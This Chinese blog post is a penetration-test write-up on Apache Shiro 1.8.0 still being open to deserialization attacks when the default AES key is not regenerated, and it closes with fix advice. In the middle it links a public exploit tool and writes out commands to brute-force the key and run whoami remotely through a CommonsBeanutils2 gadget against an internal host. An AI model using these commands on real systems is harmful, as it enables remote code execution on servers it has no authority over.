在Shiro反序列化漏洞修复的过程中,如果仅进行Shiro的版本升级,而没有重新生成密钥,那么AES加密的默认密钥扔硬编码在代码里,仍然会存在反序列化风险。
01、漏洞案例
本案例引用的shiro版本已是目前最新的1.8.0。尝试访问系统进行登录,抓包获取参数特征,包含xxx_rememberMe=deleteMe字段。
注意:在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为 AES-GCM,Shiro高版本下的漏洞利用,就需要考虑加密模式变化的情况。另外,这里cookie传递的参数是自定义的,而不是常见的rememberMe,这也是需要注意的地方。
02、漏洞利用
为了减少手工构造生成反序列化数据的繁琐,这里,我们使用一个Shiro反序列化利用工具,python编写,而且作者增加了AES-GCM加密方式的漏洞利用支持,可以很方便地进行修改和参数构建,
Github项目地址:
https://github.com/Ares-X/shiro-exploit.git
首先,我们需要修改python脚本参数,将rememberMe 替换为 xxx_remeberme,使参数能够正常传递。
利用脚本来爆破Shiro key:
python shiro-exploit.py check -u http://10.xxx.xxx.72/shiro-cas.shtml
成功获取到了Shiro key。
发送回显Payload,获取命令执行结果。
python shiro-exploit.py echo -g CommonsBeanutils2 -v 2 -k 3AvVhmFLUs0KTA3Kprsdag== -c whoami -u http://10.xxx.xxx.72/shiro-cas.shtml
修改python脚本设置代理,在requests使用代理proxies,增加proxies={'http': 'http://' + '127.0.0.1:8888'}。
这样就可以将流量引入BurpSuite,抓取HTTP数据包,手动利用查看回显。
以上便是Shiro高版本下默认密钥的漏洞利用过程,So,修复Shiro默认密钥漏洞,除了升级shiro至最新版本,一定要注意生成新的密钥替换。
记录个有意思的事情,之前有个内部系统确认过Shiro版本和密钥都有更换,但后来还是被检测到存在漏洞,一度有点怀疑人生。找开发一起排查了一下,原来有两台服务器负载,其中一台是修复了,还有一台旧服务器被遗忘了。我复测的时候是修复的状态,别人一扫描,漏洞还存在,直接泪崩。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)